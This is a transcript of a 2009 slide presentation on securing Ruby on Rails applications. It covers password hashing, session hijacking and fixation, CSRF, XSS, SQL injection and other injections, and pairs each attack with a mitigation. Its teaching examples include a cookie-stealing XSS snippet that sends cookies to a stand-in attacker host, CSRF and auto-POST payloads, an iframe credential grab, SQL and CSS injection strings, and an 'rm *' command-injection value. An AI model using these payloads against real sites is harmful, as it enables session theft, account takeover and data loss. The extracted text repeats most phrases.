Defending Against Attacks With Rails

51
Defending Against Defending Against Attacks Attacks With Rails With Rails Tony Amoyal Tony Amoyal Web Application Web Application Consultant Consultant www.tonyamoyal.com www.tonyamoyal.com July 14, 2009 July 14, 2009

description

Let's face it, the web can be a dangerous place. So how do you protect your users and yourself? Tony Amoyal answers that and more as he shows how Rails can help protect against miscreants.

Transcript of Defending Against Attacks With Rails

Page 1: Defending Against Attacks With Rails

Defending Against Defending Against Attacks Attacks

With RailsWith Rails

Tony AmoyalTony Amoyal

Web Application ConsultantWeb Application Consultant

www.tonyamoyal.comwww.tonyamoyal.com

July 14, 2009July 14, 2009

Page 2: Defending Against Attacks With Rails

General PrinciplesGeneral Principles► Kerckhoff's Principle – Always assume the Kerckhoff's Principle – Always assume the

method of security is knownmethod of security is known

► Always validate on the server side, even if Always validate on the server side, even if you validate on the client sideyou validate on the client side

► Whitelist, don't BlacklistWhitelist, don't Blacklist

Page 3: Defending Against Attacks With Rails

AuthenticationAuthentication

Step 1: Step 1:

One-way hash all passwordsOne-way hash all passwords

MD5 MD5 →→ 128-bit hash values ( 2^128 tries) 128-bit hash values ( 2^128 tries)

SHA SHA →→ 160-bit hash values (2^160 tries) 160-bit hash values (2^160 tries)

Secure?Secure?

Page 4: Defending Against Attacks With Rails

Why isn’t hashing Why isn’t hashing enough?enough?

Same passwords hash to same value Same passwords hash to same value

→ → Attacker can easily determine if multiple Attacker can easily determine if multiple users users

have the same passwordhave the same password

Very weak against Rainbow attackVery weak against Rainbow attack

Page 5: Defending Against Attacks With Rails

Use SaltUse Salt

► Ensures same password will hash to Ensures same password will hash to different valuesdifferent values

► Rainbow tables are useless, attacker would Rainbow tables are useless, attacker would essentially have to compute a rainbow essentially have to compute a rainbow table for each password with the new salttable for each password with the new salt

Page 6: Defending Against Attacks With Rails

People Use Crappy PasswordsPeople Use Crappy Passwords

20 common passwords from MySpace phishing 20 common passwords from MySpace phishing attack:attack:

password1, abc123, myspace1, password, blink182,

qwerty1, ****you, 123abc, baseball1, football1,123456, soccer, monkey1, liverpool1, princess1,jordan23, slipknot1, superman1, iloveyou1,

monkey

( http://www.schneier.com/blog/archives/2006/12/realworld_passw

.html )

Page 7: Defending Against Attacks With Rails

Restful AuthenticationRestful AuthenticationGreat way to implement authentication in Great way to implement authentication in

RailsRails

► Easy setup with hashes and saltsEasy setup with hashes and salts► Extra protection for crappy passwords Extra protection for crappy passwords

with SITE_KEY and stretchingwith SITE_KEY and stretching

Page 8: Defending Against Attacks With Rails

What Else Can We Do?What Else Can We Do?

It is difficult to protect accounts with bad It is difficult to protect accounts with bad passwordspasswords

► Always provide a password strength meterAlways provide a password strength meter

► Maybe only accept passwords at a certain Maybe only accept passwords at a certain strength levelstrength level

Page 9: Defending Against Attacks With Rails

Mass AssignmentMass Assignment

Rails let's us do stuff like…Rails let's us do stuff like…

Not secure if we have attributes like Not secure if we have attributes like is_admin because an attacker can POST is_admin because an attacker can POST with…with…

Page 10: Defending Against Attacks With Rails

Solve By WhitelistingSolve By Whitelisting

For previous example:For previous example:

Can also use attr_protected to BlacklistCan also use attr_protected to Blacklist

Page 11: Defending Against Attacks With Rails

Accessing RecordsAccessing Records

Page 12: Defending Against Attacks With Rails

LoggingLogging

Tell Rails not to log sensitive dataTell Rails not to log sensitive data

Page 13: Defending Against Attacks With Rails

Security Through Obscurity?Security Through Obscurity?

My default server response header:My default server response header:

““Apache/2.2.11 (Unix) mod_ssl/2.2.8 Apache/2.2.11 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8g DAV/2 PHP/5.3.0 OpenSSL/0.9.8g DAV/2 PHP/5.3.0 Phusion_Passenger/2.2.2”Phusion_Passenger/2.2.2”

Add this to your Apache conf:Add this to your Apache conf:

ServerTokens ProdServerTokens Prod

→→New server response header:New server response header:

““Apache”Apache”

Page 14: Defending Against Attacks With Rails

More Obscurity?More Obscurity?

Turn your server signature offTurn your server signature off

Add this to the bottom of your Apache conf:Add this to the bottom of your Apache conf:

ServerSignature OffServerSignature Off

Page 15: Defending Against Attacks With Rails

Stack TracesStack Traces

Rails handles this but good to know aboutRails handles this but good to know about

config/environments/development.rbconfig/environments/development.rb

config/environments/production.rbconfig/environments/production.rb

Want prod error message in dev? In app Want prod error message in dev? In app controller:controller:

Page 16: Defending Against Attacks With Rails

Time For The Scary Stuff...Time For The Scary Stuff...

Page 17: Defending Against Attacks With Rails

Session HijackingSession Hijacking

How does it work?How does it work?

Session ID's are stored on client machinesSession ID's are stored on client machines

1) Attacker gets SID from authenticated user1) Attacker gets SID from authenticated user

2) Attacker presents SID to web app as his 2) Attacker presents SID to web app as his ownown

Page 18: Defending Against Attacks With Rails

How Does Attacker Get SID?How Does Attacker Get SID?

1) Guess the Session ID1) Guess the Session ID

2) Network sniffing2) Network sniffing

3) Finding cookies on shared computer3) Finding cookies on shared computer

4) Cross-site scripting (more on this later)4) Cross-site scripting (more on this later)

5) Session fixation (more on this later)5) Session fixation (more on this later)

Page 19: Defending Against Attacks With Rails

Guessing the Session IDGuessing the Session ID

Rails makes this very difficult by making Rails makes this very difficult by making Session ID's very randomSession ID's very random

SID's are hashes of string containing:SID's are hashes of string containing:► current timecurrent time► random number between 0 and 1random number between 0 and 1► PID of ruby interpreter (another random PID of ruby interpreter (another random

number)number)► constant stringconstant string

Page 20: Defending Against Attacks With Rails

Sniffing the Session IDSniffing the Session ID

Possible on an unencrypted wireless LAN Possible on an unencrypted wireless LAN

( internet cafe )( internet cafe )

Solution: provide SSL connectionSolution: provide SSL connection

Page 21: Defending Against Attacks With Rails

Shared computer problemShared computer problem

Consider public computersConsider public computers

Solution: Solution:

Provide a logout button to clear the sessionProvide a logout button to clear the session

Good example – Bank Of America:Good example – Bank Of America:► Provides a low session expiration time with Provides a low session expiration time with

pop-up warningpop-up warning

Page 22: Defending Against Attacks With Rails

Cookie SecurityCookie Security

Rails uses CookieStore by default as of Rails uses CookieStore by default as of v2.2v2.2

Can users tamper with the cookies?Can users tamper with the cookies?

Only if they have the secret key:Only if they have the secret key:config/environment.rbconfig/environment.rb

Page 23: Defending Against Attacks With Rails

Cookie PrecautionsCookie Precautions

Don't store in the session:Don't store in the session:► Sensitive DataSensitive Data

Cookie data is Cookie data is notnot encryptedencrypted, it is , it is base64 base64 encodedencoded! ! → → clients can read clients can read cookiescookies

► Transient Data (account balance)Transient Data (account balance)

Vulnerable to replay attack...see next slideVulnerable to replay attack...see next slide

► Use a long secret key: 128 charactersUse a long secret key: 128 characters

Page 24: Defending Against Attacks With Rails

What is a Replay Attack?What is a Replay Attack?

When a client presents an old cookie that is When a client presents an old cookie that is valid and convinces the server that it is valid and convinces the server that it is currentcurrent

Use a nonce? …probably overkillUse a nonce? …probably overkill

(if not, use memcached?)(if not, use memcached?)

► Best solution:Best solution:

Don't keep transient data that is sensitive Don't keep transient data that is sensitive (account balance) in the session(account balance) in the session

Page 25: Defending Against Attacks With Rails

Session FixationSession Fixation

1) Attacker gets a valid session1) Attacker gets a valid session

2) Attacker forces his victim to use valid 2) Attacker forces his victim to use valid sessionsession

Now attacker has access to your sessionNow attacker has access to your session

Page 26: Defending Against Attacks With Rails

Good Example from Good Example from WikipediaWikipedia

Given:Given:

► Alice has bank account at http://un.safe.lyAlice has bank account at http://un.safe.ly

► Mallory wants Alice's moneyMallory wants Alice's money

► Alice has reasonable amount of trust in Alice has reasonable amount of trust in MalloryMallory

Page 27: Defending Against Attacks With Rails

The AttackThe Attack

1) Mallory knows the http://un.safe.ly 1) Mallory knows the http://un.safe.ly accepts SID's from query stringsaccepts SID's from query strings

2) Mallory sends Alice an email 2) Mallory sends Alice an email

““Check out this new cool bank feature Check out this new cool bank feature http://un.safe.ly/?SID=GOTCHA” http://un.safe.ly/?SID=GOTCHA”

3) Alice visits the link and logs in3) Alice visits the link and logs in

4) Mallory visits the link and has access to 4) Mallory visits the link and has access to Alice's accountAlice's account

Page 28: Defending Against Attacks With Rails

Other AttacksOther Attacks

You can also use XSS to set a victim's You can also use XSS to set a victim's session IDsession ID

<script><script>

document.cookie="_session_id=PUT_SID_HERE";document.cookie="_session_id=PUT_SID_HERE";

</script></script>

OROR

<meta http-equiv=Set-Cookie <meta http-equiv=Set-Cookie content="_session_id=PUT_SID_HERE">content="_session_id=PUT_SID_HERE">

Page 29: Defending Against Attacks With Rails

Fixation MitigationFixation Mitigation

In Rails, one line of code:In Rails, one line of code:

reset_sessionreset_session

In last example, Alice's session would have In last example, Alice's session would have been reset upon loginbeen reset upon login

The tradeoff? Forms will expire The tradeoff? Forms will expire (read more: (read more:

vendor/plugins/restful_authentication/notes/Tradeoffs.txt )vendor/plugins/restful_authentication/notes/Tradeoffs.txt )

Page 30: Defending Against Attacks With Rails

Restful Authentication Restful Authentication ExampleExample

app/controllers/sessions_controller.rbapp/controllers/sessions_controller.rb

Read about tradeoffs: Read about tradeoffs: plugins/restful_authentication/notes/Tradeoplugins/restful_authentication/notes/Tradeoffs.txtffs.txt

Page 31: Defending Against Attacks With Rails

Cross-Site Request ForgeryCross-Site Request Forgery

What is it?What is it?

Let's start with a great example from Rails Let's start with a great example from Rails GuidesGuides

Page 32: Defending Against Attacks With Rails

CSRF ExampleCSRF Example

1) Attacker posts on a message board1) Attacker posts on a message board<img src="http://www.webapp.com/project/1/destroy"> <img src="http://www.webapp.com/project/1/destroy">

2) Bob recently used webapp.com, session still 2) Bob recently used webapp.com, session still alivealive

3) Bob visits message board3) Bob visits message board

4) Browser loads image, sending cookie from 4) Browser loads image, sending cookie from Bob's machineBob's machine

5) webapp verifies cookie credentials and destroys 5) webapp verifies cookie credentials and destroys project with ID=1project with ID=1

6) No image displayed on forum6) No image displayed on forum

Page 33: Defending Against Attacks With Rails

CSRF MitigationCSRF Mitigation

1) Require POST methods where 1) Require POST methods where applicableapplicable

config/routes.rbconfig/routes.rb

app/controllers/projects_controller.rbapp/controllers/projects_controller.rb

Still not secure, POST requests can be Still not secure, POST requests can be sent automatically on eventssent automatically on events

Page 34: Defending Against Attacks With Rails

Automatic POST RequestAutomatic POST Request

<a href="http://www.harmless.com/" onclick=" <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); var f = document.createElement('form'); f.style.display = 'none'; f.style.display = 'none'; this.parentNode.appendChild(f); f.method = this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'POST'; f.action = 'http://www.example.com/account/destroy'; 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless f.submit(); return false;">To the harmless survey</a>survey</a>

OROR

<img src="http://www.harmless.com/img" <img src="http://www.harmless.com/img" width="400" height="400" width="400" height="400" onmouseover="..." />onmouseover="..." />

Page 35: Defending Against Attacks With Rails

Another Security MeasureAnother Security Measure

2) Add a security token in forms2) Add a security token in forms

Rails automatically includes security tokens in Rails automatically includes security tokens in formsforms

app/controllers/application_controller.rbapp/controllers/application_controller.rb

Use secret if not using the CookieStoreUse secret if not using the CookieStore

Page 36: Defending Against Attacks With Rails

Cross-Site Scripting ( XSS )Cross-Site Scripting ( XSS )

Most CommonMost Common

Most DevastatingMost Devastating

510,000 Attacks510,000 Attacks

in April, 2008 in April, 2008

Page 37: Defending Against Attacks With Rails

The XSS AttackThe XSS Attack

1) Attacker visits website and injects 1) Attacker visits website and injects some code through web form or other some code through web form or other meansmeans

2) Web application saves injected code 2) Web application saves injected code and displays it later to a victimand displays it later to a victim

Page 38: Defending Against Attacks With Rails

The PossibilitiesThe Possibilities

► Steal cookiesSteal cookies► Hijack sessionsHijack sessions► Redirect victim to malicious websiteRedirect victim to malicious website► Display advertisements to benefit Display advertisements to benefit

attackerattacker► Change elements on website to get Change elements on website to get

credentialscredentials► Install malware through browser security Install malware through browser security

holesholes

Page 39: Defending Against Attacks With Rails

XSS ExampleXSS Example

Getting cookie informationGetting cookie information

<script>document.write('<img <script>document.write('<img src="http://www.attacker.com/' + document.cookie src="http://www.attacker.com/' + document.cookie + '">');</script>+ '">');</script>

OROR

<img src=javascript:document.write('<img <img src=javascript:document.write('<img src="http://www.attacker.com/' + document.cookie src="http://www.attacker.com/' + document.cookie + '">')>+ '">')>

OROR

<table background="..."><table background="...">

Now the attacker checks his server logsNow the attacker checks his server logs

Page 40: Defending Against Attacks With Rails

Get User CredentialsGet User Credentials

Use an iframe to present a form to be Use an iframe to present a form to be submitted to your serversubmitted to your server

<iframe name="LoginForm" <iframe name="LoginForm" src="http://58.xx.xxx.xxx"></iframe>src="http://58.xx.xxx.xxx"></iframe>

Page 41: Defending Against Attacks With Rails

XSS MitigationXSS Mitigation

1) Whitelist input filtering1) Whitelist input filtering

Good reference:Good reference:http://apidock.com/rails/ActionView/Helpers/SanitizeHelper/http://apidock.com/rails/ActionView/Helpers/SanitizeHelper/

sanitizesanitize

2) Escape all output of your application2) Escape all output of your application

In your views...In your views...<%=h user_input %> # done by default in Rails <%=h user_input %> # done by default in Rails

33

Page 42: Defending Against Attacks With Rails

SQL InjectionSQL Injection

An attack that manipulates SQL An attack that manipulates SQL queries performed by a web queries performed by a web application on its database.application on its database.

Page 43: Defending Against Attacks With Rails

SQL Injection ExampleSQL Injection Example

Given: My application has Reminder objects Given: My application has Reminder objects which belong to Band objectswhich belong to Band objects

Reminder.find(:all, Reminder.find(:all,

:conditions => "band_name = '#{band_name}'"):conditions => "band_name = '#{band_name}'")

What if an attacker enters for their What if an attacker enters for their band_name:band_name:

' OR 1=1 OR '' OR 1=1 OR '

Resulting SQL:Resulting SQL: SELECT * FROM `reminders` WHERE (band_name = '' SELECT * FROM `reminders` WHERE (band_name = ''

OR 1=1 OR '')OR 1=1 OR '')

Page 44: Defending Against Attacks With Rails

SQL Injection MitigationSQL Injection Mitigation

In Rails useIn Rails useReminder.find(:all, :conditions => ["band_name Reminder.find(:all, :conditions => ["band_name

= ?", band_name])= ?", band_name])

Resulting SQL:Resulting SQL:SELECT * FROM `reminders` WHERE (band_name = '\' SELECT * FROM `reminders` WHERE (band_name = '\'

OR 1=1 OR\'')OR 1=1 OR\'')

', ”, NULL, and line breaks are escaped', ”, NULL, and line breaks are escaped

→ → Query returns nothingQuery returns nothing

Page 45: Defending Against Attacks With Rails

But Obviously...But Obviously...

Do this:Do this:

@reminders = @band.reminders@reminders = @band.reminders

The previous tip works great for The previous tip works great for complicated custom queriescomplicated custom queries

Page 46: Defending Against Attacks With Rails

Other InjectionsOther Injections

1) Ajax1) AjaxReturning a string in Ajax call? Escape in controllerReturning a string in Ajax call? Escape in controller

2) RJS2) RJSescape_javascript() within JS and h() within HTMLescape_javascript() within JS and h() within HTML

3) CSS 3) CSS Some browsers allow HTML/JS in CSSSome browsers allow HTML/JS in CSS<div id="abc" expr="alert('!!!')" <div id="abc" expr="alert('!!!')"

style="background:url('javascript:eval(document.all.abc.expr)')">style="background:url('javascript:eval(document.all.abc.expr)')">

...works just like HTML/JS injection...works just like HTML/JS injection

Page 47: Defending Against Attacks With Rails

More InjectionsMore Injections

4) Textile4) TextileUse whitelist filtering!Use whitelist filtering!RedCloth.new("<a RedCloth.new("<a

href='javascript:alert(1)'>hello</a>", href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html[:filter_html]).to_html

# => "<p><a # => "<p><a

href="javascript:alert(1)">hello</a></p>"href="javascript:alert(1)">hello</a></p>"

5) Command Line5) Command Linesystem("/bin/echo","hello; rm *")system("/bin/echo","hello; rm *")

# prints "hello; rm *" and does not delete files# prints "hello; rm *" and does not delete files

Page 48: Defending Against Attacks With Rails

Even More InjectionsEven More Injections

6) Header6) Header► escape referer, user-agent, cookie, etc. if you escape referer, user-agent, cookie, etc. if you

display these headers on a pagedisplay these headers on a page► be aware of how you build headers because be aware of how you build headers because

injections can rewrite headers and inject injections can rewrite headers and inject arbitrary headers (up to Rails 2.1.2)arbitrary headers (up to Rails 2.1.2)

► more in Rails Guides, section 8.9more in Rails Guides, section 8.9

7) Encoding7) Encoding► Browser understands encoding, but your app Browser understands encoding, but your app

does not therefore sanitize method is uselessdoes not therefore sanitize method is useless

Page 49: Defending Against Attacks With Rails

Regular ExpressionsRegular Expressions

Use \A and \Z, not ^ and $Use \A and \Z, not ^ and $

The problem?The problem?file.txt%0A<script>alert('hello')</script>file.txt%0A<script>alert('hello')</script>

passes the test because %0A is a newlinepasses the test because %0A is a newline

Result: Result: "file.txt\n<script>alert('hello')</script>""file.txt\n<script>alert('hello')</script>"

Page 50: Defending Against Attacks With Rails

Whitelist, Don't BlacklistWhitelist, Don't Blacklist

► before_filter :only => [...]before_filter :only => [...] instead of instead of before_filter :except => [...]before_filter :except => [...]►Use Use attr_accessibleattr_accessible instead of instead of attr_protectedattr_protected

► Only allow certain tags when stripping Only allow certain tags when stripping instead of allowing all tags exceptinstead of allowing all tags except

►Don't try to correct user inputDon't try to correct user input

This will make the attack work: This will make the attack work: "<sc<script>ript>".gsub("<script>", "")"<sc<script>ript>".gsub("<script>", "")

Page 51: Defending Against Attacks With Rails

Some LinksSome Links

► http://guides.rubyonrails.org/security.htmlhttp://guides.rubyonrails.org/security.html► http://en.wikipedia.org/wiki/Session_fixationhttp://en.wikipedia.org/wiki/Session_fixation► http://www.rorsecurity.info/journal/http://www.rorsecurity.info/journal/

2007/4/15/session-fixation-in-rails.html2007/4/15/session-fixation-in-rails.html► http://github.com/technoweenie/restful-http://github.com/technoweenie/restful-

authentication/authentication/► http://www.matasano.com/log/958/enough-http://www.matasano.com/log/958/enough-

with-the-rainbow-tables-what-you-need-to-with-the-rainbow-tables-what-you-need-to-know-about-secure-password-schemes/know-about-secure-password-schemes/

My Blog: www.tonyamoyal.com My Blog: www.tonyamoyal.com